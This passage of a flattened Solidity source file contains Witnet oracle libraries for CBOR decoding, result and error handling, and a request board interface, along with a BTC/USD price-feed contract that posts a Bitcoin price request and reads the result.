precision of 5 decimal positions, which should be OK for most `fixed16` * use cases. In other words, the output of this method is 10,000 times the actual value, encoded into an `int32`. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `int128` value. */ function decodeFixed16(Value memory _cborValue) public pure returns(int32) { require(_cborValue.majorType == 7, "Tried to read a `fixed` value from a `CBOR.Value` with majorType != 7"); require(_cborValue.additionalInformation == 25, "Tried to read `fixed16` from a `CBOR.Value` with additionalInformation != 25"); return _cborValue.buffer.readFloat16(); } /** * @notice Decode a `CBOR.Value` structure into a native `int128[]` value whose inner values follow the same convention. * as explained in `decodeFixed16`. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `int128[]` value. */ function decodeFixed16Array(Value memory _cborValue) external pure returns(int32[] memory) { require(_cborValue.majorType == 4, "Tried to read `int128[]` from a `CBOR.Value` with majorType != 4"); uint64 length = readLength(_cborValue.buffer, _cborValue.additionalInformation); require(length < UINT64_MAX, "Indefinite-length CBOR arrays are not supported"); int32[] memory array = new int32[](length); for (uint64 i = 0; i < length; i++) { Value memory item = valueFromBuffer(_cborValue.buffer); array[i] = decodeFixed16(item); } return array; } /** * @notice Decode a `CBOR.Value` structure into a native `int128` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `int128` value. */ function decodeInt128(Value memory _cborValue) public pure returns(int128) { if (_cborValue.majorType == 1) { uint64 length = readLength(_cborValue.buffer, _cborValue.additionalInformation); return int128(-1) - int128(uint128(length)); } else if (_cborValue.majorType == 0) { // Any `uint64` can be safely casted to `int128`, so this method supports majorType 1 as well so as to have offer // a uniform API for positive and negative numbers return int128(uint128(decodeUint64(_cborValue))); } revert("Tried to read `int128` from a `CBOR.Value` with majorType not 0 or 1"); } /** * @notice Decode a `CBOR.Value` structure into a native `int128[]` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `int128[]` value. */ function decodeInt128Array(Value memory _cborValue) external pure returns(int128[] memory) { require(_cborValue.majorType == 4, "Tried to read `int128[]` from a `CBOR.Value` with majorType != 4"); uint64 length = readLength(_cborValue.buffer, _cborValue.additionalInformation); require(length < UINT64_MAX, "Indefinite-length CBOR arrays are not supported"); int128[] memory array = new int128[](length); for (uint64 i = 0; i < length; i++) { Value memory item = valueFromBuffer(_cborValue.buffer); array[i] = decodeInt128(item); } return array; } /** * @notice Decode a `CBOR.Value` structure into a native `string` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as a `string` value. */ function decodeString(Value memory _cborValue) public pure returns(string memory) { _cborValue.len = readLength(_cborValue.buffer, _cborValue.additionalInformation); if (_cborValue.len == UINT64_MAX) { bytes memory textData; bool done; while (!done) { uint64 itemLength = readIndefiniteStringLength(_cborValue.buffer, _cborValue.majorType); if (itemLength < UINT64_MAX) { textData = abi.encodePacked(textData, readText(_cborValue.buffer, itemLength / 4)); } else { done = true; } } return string(textData); } else { return string(readText(_cborValue.buffer, _cborValue.len)); } } /** * @notice Decode a `CBOR.Value` structure into a native `string[]` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `string[]` value. */ function decodeStringArray(Value memory _cborValue) external pure returns(string[] memory) { require(_cborValue.majorType == 4, "Tried to read `string[]` from a `CBOR.Value` with majorType != 4"); uint64 length = readLength(_cborValue.buffer, _cborValue.additionalInformation); require(length < UINT64_MAX, "Indefinite-length CBOR arrays are not supported"); string[] memory array = new string[](length); for (uint64 i = 0; i < length; i++) { Value memory item = valueFromBuffer(_cborValue.buffer); array[i] = decodeString(item); } return array; } /** * @notice Decode a `CBOR.Value` structure into a native `uint64` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `uint64` value. */ function decodeUint64(Value memory _cborValue) public pure returns(uint64) { require(_cborValue.majorType == 0, "Tried to read `uint64` from a `CBOR.Value` with majorType != 0"); return readLength(_cborValue.buffer, _cborValue.additionalInformation); } /** * @notice Decode a `CBOR.Value` structure into a native `uint64[]` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as an `uint64[]` value. */ function decodeUint64Array(Value memory _cborValue) external pure returns(uint64[] memory) { require(_cborValue.majorType == 4, "Tried to read `uint64[]` from a `CBOR.Value` with majorType != 4"); uint64 length = readLength(_cborValue.buffer, _cborValue.additionalInformation); require(length < UINT64_MAX, "Indefinite-length CBOR arrays are not supported"); uint64[] memory array = new uint64[](length); for (uint64 i = 0; i < length; i++) { Value memory item = valueFromBuffer(_cborValue.buffer); array[i] = decodeUint64(item); } return array; } /** * @notice Decode a CBOR.Value structure from raw bytes. * @dev This is the main factory for CBOR.Value instances, which can be later decoded into native EVM types. * @param _cborBytes Raw bytes representing a CBOR-encoded value. * @return A `CBOR.Value` instance containing a partially decoded value. */ function valueFromBytes(bytes memory _cborBytes) external pure returns(Value memory) { BufferLib.Buffer memory buffer = BufferLib.Buffer(_cborBytes, 0); return valueFromBuffer(buffer); } /** * @notice Decode a CBOR.Value structure from raw bytes. * @dev This is an alternate factory for CBOR.Value instances, which can be later decoded into native EVM types. * @param _buffer A Buffer structure representing a CBOR-encoded value. * @return A `CBOR.Value` instance containing a partially decoded value. */ function valueFromBuffer(BufferLib.Buffer memory _buffer) public pure returns(Value memory) { require(_buffer.data.length > 0, "Found empty buffer when parsing CBOR value"); uint8 initialByte; uint8 majorType = 255; uint8 additionalInformation; uint64 tag = UINT64_MAX; bool isTagged = true; while (isTagged) { // Extract basic CBOR properties from input bytes initialByte = _buffer.readUint8(); majorType = initialByte >> 5; additionalInformation = initialByte & 0x1f; // Early CBOR tag parsing. if (majorType == 6) { tag = readLength(_buffer, additionalInformation); } else { isTagged = false; } } require(majorType <= 7, "Invalid CBOR major type"); return CBOR.Value( _buffer, initialByte, majorType, additionalInformation, 0, tag); } // Reads the length of the next CBOR item from a buffer, consuming a different number of bytes depending on the // value of the `additionalInformation` argument. function readLength(BufferLib.Buffer memory _buffer, uint8 additionalInformation) private pure returns(uint64) { if (additionalInformation < 24) { return additionalInformation; } if (additionalInformation == 24) { return _buffer.readUint8(); } if (additionalInformation == 25) { return _buffer.readUint16(); } if (additionalInformation == 26) { return _buffer.readUint32(); } if (additionalInformation == 27) { return _buffer.readUint64(); } if (additionalInformation == 31) { return UINT64_MAX; } revert("Invalid length encoding (non-existent additionalInformation value)"); } // Read the length of a CBOR indifinite-length item (arrays, maps, byte strings and text) from a buffer, consuming // as many bytes as specified by the first byte. function readIndefiniteStringLength(BufferLib.Buffer memory _buffer, uint8 majorType) private pure returns(uint64) { uint8 initialByte = _buffer.readUint8(); if (initialByte == 0xff) { return UINT64_MAX; } uint64 length = readLength(_buffer, initialByte & 0x1f); require(length < UINT64_MAX && (initialByte >> 5) == majorType, "Invalid indefinite length"); return length; } // Read a text string of a given length from a buffer. Returns a `bytes memory` value for the sake of genericness, // but it can be easily casted into a string with `string(result)`. // solium-disable-next-line security/no-assign-params function readText(BufferLib.Buffer memory _buffer, uint64 _length) private pure returns(bytes memory) { bytes memory result; for (uint64 index = 0; index < _length; index++) { uint8 value = _buffer.readUint8(); if (value & 0x80 != 0) { if (value < 0xe0) { value = (value & 0x1f) << 6 | (_buffer.readUint8() & 0x3f); _length -= 1; } else if (value < 0xf0) { value = (value & 0x0f) << 12 | (_buffer.readUint8() & 0x3f) << 6 | (_buffer.readUint8() & 0x3f); _length -= 2; } else { value = (value & 0x0f) << 18 | (_buffer.readUint8() & 0x3f) << 12 | (_buffer.readUint8() & 0x3f) << 6 | (_buffer.readUint8() & 0x3f); _length -= 3; } } result = abi.encodePacked(result, value); } return result; } } // File: witnet-ethereum-bridge/contracts/Witnet.sol /** * @title A library for decoding Witnet request results * @notice The library exposes functions to check the Witnet request success. * and retrieve Witnet results from CBOR values into solidity types. */ library Witnet { using CBOR for CBOR.Value; /* * STRUCTS */ struct Result { bool success; CBOR.Value cborValue; } /* * ENUMS */ enum ErrorCodes { // 0x00: Unknown error. Something went really bad! Unknown, // Script format errors /// 0x01: At least one of the source scripts is not a valid CBOR-encoded value. SourceScriptNotCBOR, /// 0x02: The CBOR value decoded from a source script is not an Array. SourceScriptNotArray, /// 0x03: The Array value decoded form a source script is not a valid RADON script. SourceScriptNotRADON, /// Unallocated ScriptFormat0x04, ScriptFormat0x05, ScriptFormat0x06, ScriptFormat0x07, ScriptFormat0x08, ScriptFormat0x09, ScriptFormat0x0A, ScriptFormat0x0B, ScriptFormat0x0C, ScriptFormat0x0D, ScriptFormat0x0E, ScriptFormat0x0F, // Complexity errors /// 0x10: The request contains too many sources. RequestTooManySources, /// 0x11: The script contains too many calls. ScriptTooManyCalls, /// Unallocated Complexity0x12, Complexity0x13, Complexity0x14, Complexity0x15, Complexity0x16, Complexity0x17, Complexity0x18, Complexity0x19, Complexity0x1A, Complexity0x1B, Complexity0x1C, Complexity0x1D, Complexity0x1E, Complexity0x1F, // Operator errors /// 0x20: The operator does not exist. UnsupportedOperator, /// Unallocated Operator0x21, Operator0x22, Operator0x23, Operator0x24, Operator0x25, Operator0x26, Operator0x27, Operator0x28, Operator0x29, Operator0x2A, Operator0x2B, Operator0x2C, Operator0x2D, Operator0x2E, Operator0x2F, // Retrieval-specific errors /// 0x30: At least one of the sources could not be retrieved, but returned HTTP error. HTTP, /// 0x31: Retrieval of at least one of the sources timed out. RetrievalTimeout, /// Unallocated Retrieval0x32, Retrieval0x33, Retrieval0x34, Retrieval0x35, Retrieval0x36, Retrieval0x37, Retrieval0x38, Retrieval0x39, Retrieval0x3A, Retrieval0x3B, Retrieval0x3C, Retrieval0x3D, Retrieval0x3E, Retrieval0x3F, // Math errors /// 0x40: Math operator caused an underflow. Underflow, /// 0x41: Math operator caused an overflow. Overflow, /// 0x42: Tried to divide by zero. DivisionByZero, /// Unallocated Math0x43, Math0x44, Math0x45, Math0x46, Math0x47, Math0x48, Math0x49, Math0x4A, Math0x4B, Math0x4C, Math0x4D, Math0x4E, Math0x4F, // Other errors /// 0x50: Received zero reveals NoReveals, /// 0x51: Insufficient consensus in tally precondition clause InsufficientConsensus, /// 0x52: Received zero commits InsufficientCommits, /// 0x53: Generic error during tally execution TallyExecution, /// Unallocated OtherError0x54, OtherError0x55, OtherError0x56, OtherError0x57, OtherError0x58, OtherError0x59, OtherError0x5A, OtherError0x5B, OtherError0x5C, OtherError0x5D, OtherError0x5E, OtherError0x5F, /// 0x60: Invalid reveal serialization (malformed reveals are converted to this value) MalformedReveal, /// Unallocated OtherError0x61, OtherError0x62, OtherError0x63, OtherError0x64, OtherError0x65, OtherError0x66, OtherError0x67, OtherError0x68, OtherError0x69, OtherError0x6A, OtherError0x6B, OtherError0x6C, OtherError0x6D, OtherError0x6E, OtherError0x6F, // Access errors /// 0x70: Tried to access a value from an index using an index that is out of bounds ArrayIndexOutOfBounds, /// 0x71: Tried to access a value from a map using a key that does not exist MapKeyNotFound, /// Unallocated OtherError0x72, OtherError0x73, OtherError0x74, OtherError0x75, OtherError0x76, OtherError0x77, OtherError0x78, OtherError0x79, OtherError0x7A, OtherError0x7B, OtherError0x7C, OtherError0x7D, OtherError0x7E, OtherError0x7F, OtherError0x80, OtherError0x81, OtherError0x82, OtherError0x83, OtherError0x84, OtherError0x85, OtherError0x86, OtherError0x87, OtherError0x88, OtherError0x89, OtherError0x8A, OtherError0x8B, OtherError0x8C, OtherError0x8D, OtherError0x8E, OtherError0x8F, OtherError0x90, OtherError0x91, OtherError0x92, OtherError0x93, OtherError0x94, OtherError0x95, OtherError0x96, OtherError0x97, OtherError0x98, OtherError0x99, OtherError0x9A, OtherError0x9B, OtherError0x9C, OtherError0x9D, OtherError0x9E, OtherError0x9F, OtherError0xA0, OtherError0xA1, OtherError0xA2, OtherError0xA3, OtherError0xA4, OtherError0xA5, OtherError0xA6, OtherError0xA7, OtherError0xA8, OtherError0xA9, OtherError0xAA, OtherError0xAB, OtherError0xAC, OtherError0xAD, OtherError0xAE, OtherError0xAF, OtherError0xB0, OtherError0xB1, OtherError0xB2, OtherError0xB3, OtherError0xB4, OtherError0xB5, OtherError0xB6, OtherError0xB7, OtherError0xB8, OtherError0xB9, OtherError0xBA, OtherError0xBB, OtherError0xBC, OtherError0xBD, OtherError0xBE, OtherError0xBF, OtherError0xC0, OtherError0xC1, OtherError0xC2, OtherError0xC3, OtherError0xC4, OtherError0xC5, OtherError0xC6, OtherError0xC7, OtherError0xC8, OtherError0xC9, OtherError0xCA, OtherError0xCB, OtherError0xCC, OtherError0xCD, OtherError0xCE, OtherError0xCF, OtherError0xD0, OtherError0xD1, OtherError0xD2, OtherError0xD3, OtherError0xD4, OtherError0xD5, OtherError0xD6, OtherError0xD7, OtherError0xD8, OtherError0xD9, OtherError0xDA, OtherError0xDB, OtherError0xDC, OtherError0xDD, OtherError0xDE, OtherError0xDF, // Bridge errors: errors that only belong in inter-client communication /// 0xE0: Requests that cannot be parsed must always get this error as their result. /// However, this is not a valid result in a Tally transaction, because invalid requests /// are never included into blocks and therefore never get a Tally in response. BridgeMalformedRequest, /// 0xE1: Witnesses exceeds 100 BridgePoorIncentives, /// 0xE2: The request is rejected on the grounds that it may cause the submitter to spend or stake an /// amount of value that is unjustifiably high when compared with the reward they will be getting BridgeOversizedResult, /// Unallocated OtherError0xE3, OtherError0xE4, OtherError0xE5, OtherError0xE6, OtherError0xE7, OtherError0xE8, OtherError0xE9, OtherError0xEA, OtherError0xEB, OtherError0xEC, OtherError0xED, OtherError0xEE, OtherError0xEF, OtherError0xF0, OtherError0xF1, OtherError0xF2, OtherError0xF3, OtherError0xF4, OtherError0xF5, OtherError0xF6, OtherError0xF7, OtherError0xF8, OtherError0xF9, OtherError0xFA, OtherError0xFB, OtherError0xFC, OtherError0xFD, OtherError0xFE, // This should not exist: /// 0xFF: Some tally error is not intercepted but should UnhandledIntercept } /* * Result impl's */ /** * @notice Decode raw CBOR bytes into a Result instance. * @param _cborBytes Raw bytes representing a CBOR-encoded value. * @return A `Result` instance. */ function resultFromCborBytes(bytes calldata _cborBytes) external pure returns(Result memory) { CBOR.Value memory cborValue = CBOR.valueFromBytes(_cborBytes); return resultFromCborValue(cborValue); } /** * @notice Decode a CBOR value into a Result instance. * @param _cborValue An instance of `CBOR.Value`. * @return A `Result` instance. */ function resultFromCborValue(CBOR.Value memory _cborValue) public pure returns(Result memory) { // Witnet uses CBOR tag 39 to represent RADON error code identifiers. // [CBOR tag 39] Identifiers for CBOR: https://github.com/lucas-clemente/cbor-specs/blob/master/id.md bool success = _cborValue.tag != 39; return Result(success, _cborValue); } /** * @notice Tell if a Result is successful. * @param _result An instance of Result. * @return `true` if successful, `false` if errored. */ function isOk(Result memory _result) external pure returns(bool) { return _result.success; } /** * @notice Tell if a Result is errored. * @param _result An instance of Result. * @return `true` if errored, `false` if successful. */ function isError(Result memory _result) external pure returns(bool) { return !_result.success; } /** * @notice Decode a bytes value from a Result as a `bytes` value. * @param _result An instance of Result. * @return The `bytes` decoded from the Result. */ function asBytes(Result memory _result) external pure returns(bytes memory) { require(_result.success, "Tried to read bytes value from errored Result"); return _result.cborValue.decodeBytes(); } /** * @notice Decode an error code from a Result as a member of `ErrorCodes`. * @param _result An instance of `Result`. * @return The `CBORValue.Error memory` decoded from the Result. */ function asErrorCode(Result memory _result) external pure returns(ErrorCodes) { uint64[] memory error = asRawError(_result); if (error.length == 0) { return ErrorCodes.Unknown; } return supportedErrorOrElseUnknown(error[0]); } /** * @notice Generate a suitable error message for a member of `ErrorCodes` and its corresponding arguments. * @dev WARN: Note that client contracts should wrap this function into a try-catch foreseing potential errors generated in this function * @param _result An instance of `Result`. * @return A tuple containing the `CBORValue.Error memory` decoded from the `Result`, plus a loggable error message. */ function asErrorMessage(Result memory _result) public pure returns (ErrorCodes, string memory) { uint64[] memory error = asRawError(_result); if (error.length == 0) { return (ErrorCodes.Unknown, "Unknown error (no error code)"); } ErrorCodes errorCode = supportedErrorOrElseUnknown(error[0]); bytes memory errorMessage; if (errorCode == ErrorCodes.SourceScriptNotCBOR && error.length >= 2) { errorMessage = abi.encodePacked("Source script #", utoa(error[1]), " was not a valid CBOR value"); } else if (errorCode == ErrorCodes.SourceScriptNotArray && error.length >= 2) { errorMessage = abi.encodePacked("The CBOR value in script #", utoa(error[1]), " was not an Array of calls"); } else if (errorCode == ErrorCodes.SourceScriptNotRADON && error.length >= 2) { errorMessage = abi.encodePacked("The CBOR value in script #", utoa(error[1]), " was not a valid RADON script"); } else if (errorCode == ErrorCodes.RequestTooManySources && error.length >= 2) { errorMessage = abi.encodePacked("The request contained too many sources (", utoa(error[1]), ")"); } else if (errorCode == ErrorCodes.ScriptTooManyCalls && error.length >= 4) { errorMessage = abi.encodePacked( "Script #", utoa(error[2]), " from the ", stageName(error[1]), " stage contained too many calls (", utoa(error[3]), ")" ); } else if (errorCode == ErrorCodes.UnsupportedOperator && error.length >= 5) { errorMessage = abi.encodePacked( "Operator code 0x", utohex(error[4]), " found at call #", utoa(error[3]), " in script #", utoa(error[2]), " from ", stageName(error[1]), " stage is not supported" ); } else if (errorCode == ErrorCodes.HTTP && error.length >= 3) { errorMessage = abi.encodePacked( "Source #", utoa(error[1]), " could not be retrieved. Failed with HTTP error code: ", utoa(error[2] / 100), utoa(error[2] % 100 / 10), utoa(error[2] % 10) ); } else if (errorCode == ErrorCodes.RetrievalTimeout && error.length >= 2) { errorMessage = abi.encodePacked( "Source #", utoa(error[1]), " could not be retrieved because of a timeout." ); } else if (errorCode == ErrorCodes.Underflow && error.length >= 5) { errorMessage = abi.encodePacked( "Underflow at operator code 0x", utohex(error[4]), " found at call #", utoa(error[3]), " in script #", utoa(error[2]), " from ", stageName(error[1]), " stage" ); } else if (errorCode == ErrorCodes.Overflow && error.length >= 5) { errorMessage = abi.encodePacked( "Overflow at operator code 0x", utohex(error[4]), " found at call #", utoa(error[3]), " in script #", utoa(error[2]), " from ", stageName(error[1]), " stage" ); } else if (errorCode == ErrorCodes.DivisionByZero && error.length >= 5) { errorMessage = abi.encodePacked( "Division by zero at operator code 0x", utohex(error[4]), " found at call #", utoa(error[3]), " in script #", utoa(error[2]), " from ", stageName(error[1]), " stage" ); } else if (errorCode == ErrorCodes.BridgeMalformedRequest) { errorMessage = "The structure of the request is invalid and it cannot be parsed"; } else if (errorCode == ErrorCodes.BridgePoorIncentives) { errorMessage = "The request has been rejected by the bridge node due to poor incentives"; } else if (errorCode == ErrorCodes.BridgeOversizedResult) { errorMessage = "The request result length exceeds a bridge contract defined limit"; } else { errorMessage = abi.encodePacked("Unknown error (0x", utohex(error[0]), ")"); } return (errorCode, string(errorMessage)); } /** * @notice Decode a raw error from a `Result` as a `uint64[]`. * @param _result An instance of `Result`. * @return The `uint64[]` raw error as decoded from the `Result`. */ function asRawError(Result memory _result) public pure returns(uint64[] memory) { require(!_result.success, "Tried to read error code from successful Result"); return _result.cborValue.decodeUint64Array(); } /** * @notice Decode a boolean value from a Result as an `bool` value. * @param _result An instance of Result. * @return The `bool` decoded from the Result. */ function asBool(Result memory _result) external pure returns(bool) { require(_result.success, "Tried to read `bool` value from errored Result"); return _result.cborValue.decodeBool(); } /** * @notice Decode a fixed16 (half-precision) numeric value from a Result as an `int32` value. * @dev Due to the lack of support for floating or fixed point arithmetic in the EVM, this method offsets all values. * by 5 decimal orders so as to get a fixed precision of 5 decimal positions, which should be OK for most `fixed16`. * use cases. In other words, the output of this method is 10,000 times the actual value, encoded into an `int32`. * @param _result An instance of Result. * @return The `int128` decoded from the Result. */ function asFixed16(Result memory _result) external pure returns(int32) { require(_result.success, "Tried to read `fixed16` value from errored Result"); return _result.cborValue.decodeFixed16(); } /** * @notice Decode an array of fixed16 values from a Result as an `int128[]` value. * @param _result An instance of Result. * @return The `int128[]` decoded from the Result. */ function asFixed16Array(Result memory _result) external pure returns(int32[] memory) { require(_result.success, "Tried to read `fixed16[]` value from errored Result"); return _result.cborValue.decodeFixed16Array(); } /** * @notice Decode a integer numeric value from a Result as an `int128` value. * @param _result An instance of Result. * @return The `int128` decoded from the Result. */ function asInt128(Result memory _result) external pure returns(int128) { require(_result.success, "Tried to read `int128` value from errored Result"); return _result.cborValue.decodeInt128(); } /** * @notice Decode an array of integer numeric values from a Result as an `int128[]` value. * @param _result An instance of Result. * @return The `int128[]` decoded from the Result. */ function asInt128Array(Result memory _result) external pure returns(int128[] memory) { require(_result.success, "Tried to read `int128[]` value from errored Result"); return _result.cborValue.decodeInt128Array(); } /** * @notice Decode a string value from a Result as a `string` value. * @param _result An instance of Result. * @return The `string` decoded from the Result. */ function asString(Result memory _result) external pure returns(string memory) { require(_result.success, "Tried to read `string` value from errored Result"); return _result.cborValue.decodeString(); } /** * @notice Decode an array of string values from a Result as a `string[]` value. * @param _result An instance of Result. * @return The `string[]` decoded from the Result. */ function asStringArray(Result memory _result) external pure returns(string[] memory) { require(_result.success, "Tried to read `string[]` value from errored Result"); return _result.cborValue.decodeStringArray(); } /** * @notice Decode a natural numeric value from a Result as a `uint64` value. * @param _result An instance of Result. * @return The `uint64` decoded from the Result. */ function asUint64(Result memory _result) external pure returns(uint64) { require(_result.success, "Tried to read `uint64` value from errored Result"); return _result.cborValue.decodeUint64(); } /** * @notice Decode an array of natural numeric values from a Result as a `uint64[]` value. * @param _result An instance of Result. * @return The `uint64[]` decoded from the Result. */ function asUint64Array(Result memory _result) external pure returns(uint64[] memory) { require(_result.success, "Tried to read `uint64[]` value from errored Result"); return _result.cborValue.decodeUint64Array(); } /** * @notice Convert a stage index number into the name of the matching Witnet request stage. * @param _stageIndex A `uint64` identifying the index of one of the Witnet request stages. * @return The name of the matching stage. */ function stageName(uint64 _stageIndex) public pure returns(string memory) { if (_stageIndex == 0) { return "retrieval"; } else if (_stageIndex == 1) { return "aggregation"; } else if (_stageIndex == 2) { return "tally"; } else { return "unknown"; } } /** * @notice Get an `ErrorCodes` item from its `uint64` discriminant. * @param _discriminant The numeric identifier of an error. * @return A member of `ErrorCodes`. */ function supportedErrorOrElseUnknown(uint64 _discriminant) private pure returns(ErrorCodes) { return ErrorCodes(_discriminant); } /** * @notice Convert a `uint64` into a 1, 2 or 3 characters long `string` representing its. * three less significant decimal values. * @param _u A `uint64` value. * @return The `string` representing its decimal value. */ function utoa(uint64 _u) private pure returns(string memory) { if (_u < 10) { bytes memory b1 = new bytes(1); b1[0] = bytes1(uint8(_u) + 48); return string(b1); } else if (_u < 100) { bytes memory b2 = new bytes(2); b2[0] = bytes1(uint8(_u / 10) + 48); b2[1] = bytes1(uint8(_u % 10) + 48); return string(b2); } else { bytes memory b3 = new bytes(3); b3[0] = bytes1(uint8(_u / 100) + 48); b3[1] = bytes1(uint8(_u % 100 / 10) + 48); b3[2] = bytes1(uint8(_u % 10) + 48); return string(b3); } } /** * @notice Convert a `uint64` into a 2 characters long `string` representing its two less significant hexadecimal values. * @param _u A `uint64` value. * @return The `string` representing its hexadecimal value. */ function utohex(uint64 _u) private pure returns(string memory) { bytes memory b2 = new bytes(2); uint8 d0 = uint8(_u / 16) + 48; uint8 d1 = uint8(_u % 16) + 48; if (d0 > 57) d0 += 7; if (d1 > 57) d1 += 7; b2[0] = bytes1(d0); b2[1] = bytes1(d1); return string(b2); } } // File: witnet-ethereum-bridge/contracts/WitnetRequestBoardInterface.sol /** * @title Witnet Requests Board Interface * @notice Interface of a Witnet Request Board (WRB) * It defines how to interact with the WRB in order to support: * - Post and upgrade a data request * - Read the result of a dr * @author Witnet Foundation */ interface WitnetRequestBoardInterface { // Event emitted when a new DR is posted event PostedRequest(uint256 _id); // Event emitted when a result is reported event PostedResult(uint256 _id); /// @dev Posts a data request into the WRB in expectation that it will be relayed and resolved in Witnet with a total reward that equals to msg.value. /// @param _requestAddress The request contract address which includes the request bytecode. /// @return The unique identifier of the data request. function postDataRequest(address _requestAddress) external payable returns(uint256); /// @dev Increments the reward of a data request by adding the transaction value to it. /// @param _id The unique identifier of the data request. function upgradeDataRequest(uint256 _id) external payable; /// @dev Retrieves the DR transaction hash of the id from the WRB. /// @param _id The unique identifier of the data request. /// @return The hash of the DR transaction function readDrTxHash (uint256 _id) external view returns(uint256); /// @dev Retrieves the result (if already available) of one data request from the WRB. /// @param _id The unique identifier of the data request. /// @return The result of the DR function readResult (uint256 _id) external view returns(bytes memory); /// @notice Verifies if the Witnet Request Board can be upgraded. /// @return true if contract is upgradable. function isUpgradable(address _address) external view returns(bool); /// @dev Estimate the amount of reward we need to insert for a given gas price. /// @param _gasPrice The gas price for which we need to calculate the rewards. /// @return The reward to be included for the given gas price. function estimateGasCost(uint256 _gasPrice) external view returns(uint256); } // File: witnet-ethereum-bridge/contracts/UsingWitnet.sol /** * @title The UsingWitnet contract * @notice Contract writers can inherit this contract in order to create Witnet data requests. */ abstract contract UsingWitnet { using Witnet for Witnet.Result; WitnetRequestBoardInterface internal immutable wrb; /** * @notice Include an address to specify the WitnetRequestBoard. * @param _wrb WitnetRequestBoard address. */ constructor(address _wrb) { wrb = WitnetRequestBoardInterface(_wrb); } // Provides a convenient way for client contracts extending this to block the execution of the main logic of the // contract until a particular request has been successfully resolved by Witnet modifier witnetRequestResolved(uint256 _id) { require(witnetCheckRequestResolved(_id), "Witnet request is not yet resolved by the Witnet network"); _; } /** * @notice Send a new request to the Witnet network with transaction value as result report reward. * @dev Call to `post_dr` function in the WitnetRequestBoard contract. * @param _request An instance of the `Request` contract. * @return Sequencial identifier for the request included in the WitnetRequestBoard. */ function witnetPostRequest(Request _request) internal returns (uint256) { return wrb.postDataRequest{value: msg.value}(address(_request)); } /** * @notice Check if a request has been resolved by Witnet. * @dev Contracts depending on Witnet should not start their main business logic (e.g. receiving value from third. * parties) before this method returns `true`. * @param _id The unique identifier of a request that has been previously sent to the WitnetRequestBoard. * @return A boolean telling if the request has been already resolved or not. */ function witnetCheckRequestResolved(uint256 _id) internal view returns (bool) { // If the result of the data request in Witnet is not the default, then it means that it has been reported as resolved. return wrb.readDrTxHash(_id) != 0; } /** * @notice Upgrade the reward for a Data Request previously included. * @dev Call to `upgrade_dr` function in the WitnetRequestBoard contract. * @param _id The unique identifier of a request that has been previously sent to the WitnetRequestBoard. */ function witnetUpgradeRequest(uint256 _id) internal { wrb.upgradeDataRequest{value: msg.value}(_id); } /** * @notice Read the result of a resolved request. * @dev Call to `read_result` function in the WitnetRequestBoard contract. * @param _id The unique identifier of a request that was posted to Witnet. * @return The result of the request as an instance of `Result`. */ function witnetReadResult(uint256 _id) internal view returns (Witnet.Result memory) { return Witnet.resultFromCborBytes(wrb.readResult(_id)); } /** * @notice Estimate the reward amount. * @dev Call to `estimate_gas_cost` function in the WitnetRequestBoard contract. * @param _gasPrice The gas price for which we want to retrieve the estimation. * @return The reward to be included for the given gas price. */ function witnetEstimateGasCost(uint256 _gasPrice) internal view returns (uint256) { return wrb.estimateGasCost(_gasPrice); } } // File: adomedianizer/contracts/interfaces/IERC2362.sol /** * @dev EIP2362 Interface for pull oracles * https://github.com/adoracles/EIPs/blob/erc-2362/EIPS/eip-2362.md */ interface IERC2362 { /** * @dev Exposed function pertaining to EIP standards * @param _id bytes32 ID of the query * @return int,uint,uint returns the value, timestamp, and status code of query */ function valueFor(bytes32 _id) external view returns(int256,uint256,uint256); } // File: contracts/requests/BitcoinPrice.sol // The bytecode of the BitcoinPrice request that will be sent to Witnet contract BitcoinPriceRequest is Request { constructor () Request(hex"0abf0108e38eb18706123b122468747470733a2f2f7777772e6269747374616d702e6e65742f6170692f7469636b65722f1a13841877821864646c6173748218571903e8185b125c123168747470733a2f2f6170692e636f696e6465736b2e636f6d2f76312f6270692f63757272656e7470726963652e6a736f6e1a2786187782186663627069821866635553448218646a726174655f666c6f61748218571903e8185b1a0d0a0908051205fa3fc000001003220d0a0908051205fa3fc000001003100a186420012846308094ebdc03") { } } // File: contracts/BtcUsdPriceFeed.sol // Import the UsingWitnet library that enables interacting with Witnet // Import the ERC2362 interface // Import the BitcoinPrice request that you created before // Your contract needs to inherit from UsingWitnet contract BtcUsdPriceFeed is UsingWitnet, IERC2362 { using Witnet for Witnet.Result; // The public Bitcoin price point uint64 public lastPrice; // Stores the ID of the last Witnet request uint256 public lastRequestId; // Stores the timestamp of the last time the public price point was updated uint256 public timestamp; // Tells if an update has been requested but not yet completed bool public pending; // The Witnet request object, is set in the constructor Request public request; // Emits when the price is updated event PriceUpdated(uint64); // Emits when found an error decoding request result event ResultError(string); // This is `keccak256("Price-BTC/USD-3")` bytes32 constant public BTCUSD3ID = bytes32(hex"637b7efb6b620736c247aaa282f3898914c0bef6c12faff0d3fe9d4bea783020"); // This constructor does a nifty trick to tell the `UsingWitnet` library where // to find the Witnet contracts on whatever Ethereum network you use. constructor (address _wrb) UsingWitnet(_wrb) { // Instantiate the Witnet request request = new BitcoinPriceRequest(); } /** * @notice Sends `request` to the WitnetRequestBoard. * @dev This method will only succeed if `pending` is 0. **/ function requestUpdate() public payable { require(!pending, "Complete pending request before requesting a new one"); // Send the request to Witnet and store the ID for later retrieval of the result // The `witnetPostRequest` method comes with `UsingWitnet` lastRequestId = witnetPostRequest(request); // Signal that there is already a pending request pending = true; } /** * @notice Reads the result, if ready, from the WitnetRequestBoard. * @dev The `witnetRequestAccepted` modifier comes with `UsingWitnet` and allows to * protect your methods from being called before the request has been successfully * relayed into Witnet. **/ function completeUpdate() public witnetRequestResolved(lastRequestId) { require(pending, "There is no pending update."); // Read the result of the Witnet request // The `witnetReadResult` method comes with `UsingWitnet` Witnet.Result memory result = witnetReadResult(lastRequestId); // If the Witnet request succeeded, decode the result and update the price point // If it failed, revert the transaction with a pretty-printed error message if (result.isOk()) { lastPrice = result.asUint64(); // solhint-disable-next-line not-rely-on-time timestamp = block.timestamp; emit PriceUpdated(lastPrice); } else { string memory errorMessage; // Try to read the value as an error message, catch error bytes if read fails try result.asErrorMessage() 